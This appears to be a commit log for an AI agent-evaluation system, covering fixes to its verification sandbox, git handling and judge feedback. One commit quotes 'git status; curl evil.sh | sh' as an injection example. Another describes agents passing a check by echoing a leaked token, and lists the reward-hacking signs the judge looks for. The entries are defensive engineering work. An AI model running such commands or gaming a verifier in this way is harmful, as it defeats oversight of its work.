107f0dbcede7c773eefb4bb2ea75c1f15e92a6f4
5
Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
 Omar SobhandClaude Opus 5
|
dd8dad2ad4 |
fix(evaluator): git ownership exception now reaches tools that call git
The argv rewrite added in
|
||
|
Omar SobhandClaude Opus 5
|
d90a42b759 |
fix: three gaps the P0 validation runs exposed
Validating P0 against production found one bug in each of the three pieces, none of which any test would have caught. **The scanners were installed but not allow-listed.** Mission 019fc058's condition asked for a gitleaks result; `gitleaks detect` came back `ran=false`, and the judge said it could not verify. P0.3 put the binaries in the image and never added them to `evaluator_tools::ALLOWED_PROGRAMS`, so the judge could not invoke the tools installed for it. Adds gitleaks, trivy, semgrep and `which`. **Every `continue` after a fire claim leaked the claim.** Introduced by the scheduler fix itself: the orphan-agent and empty-action paths skipped `complete_fire`, so the row stayed `claimed` — which reads as a crash mid-fire, meaning the routine is re-claimed forever and the table grows one stuck row per occurrence. Observed in production: five `claimed` rows, no dispatch, no `routine_runs`. Both paths now settle with a reason, and log it. **The agent writes its own identity files into the user's repository.** `workspace.path` is pinned to the repo root, so the runtime drops AGENTS.md, HEARTBEAT.md, IDENTITY.md, MEMORY.md, SOUL.md, TOOLS.md and USER.md into the checkout — SOUL.md opens "Who You Are / You're not a chatbot." Two consequences: every mission's tree is permanently dirty, so a `done_when` about a clean tree can never pass; and P1's `git add -A` would have committed the agent's SOUL.md into someone's repository and pushed it. The P1 deny-list covered build artifacts and would not have caught this. Fixed by writing the names to `.git/info/exclude` after clone — local to the checkout, never itself a change, and it suppresses only *untracked* files, so a repo that genuinely tracks its own AGENTS.md still reports modifications to it. Idempotent, and preserves any pre-existing exclude. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
491449f3ce |
fix(evaluator): git refused the checkout it was asked to verify
Found by the P0.1 verification run, which is the point of it. Mission
019fc02e's judge executed `git status` for real — and got exit 128:
fatal: detected dubious ownership in repository at
'/var/lib/clawmates-missions/019fc02e-.../repo'
The server clones as uid 65532; the runtime container the judge execs into
runs as root; git's ownership check refuses the repository. So the judge's
most direct verification tool was failing on every mission. It recovered here
by inferring a clean tree from `ls -la` and `find`, and reasoned correctly —
but that is inference from a directory listing standing in for the command
that answers the question directly.
`git` invocations now carry `-c safe.directory=<workdir>`, scoped to that one
checkout. Not `--global`: the protection exists for multi-user machines where
another user could plant a hostile `.git/config`, and disabling it container-
wide to fix one path would trade a real guarantee for convenience. Applied
per-invocation rather than baked into the image so it travels with the workdir
and cannot drift out of sync with it.
Tests cover the rewrite, that non-git commands are untouched, and that a
rewritten `git push` still fails the allow-list — the injected `-c` flags must
not become a way past validation.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
c812b714f4 |
fix(evaluator): the verification sandbox never ran a command
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.
The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.
The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.
- New `container_exec` routes execution through the Docker API via bollard,
which was already a dependency and already reaches the daemon through the
socket proxy. Captures the exit code (absent from the old helper) and keeps
stdout and stderr apart (`LogOutput`'s Display merged them, which is why
nothing downstream could tell JSON from a progress bar). `security_scan`
parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
success — `commit_policy = "on_green_tests"` will gate on this, and
"unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
`exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
neither executed, `was_verified() == false`; plus a failing suite (exit 101)
still counting as verification, because that is something the judge learned
rather than was told.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
3eb89620e7 |
feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]> |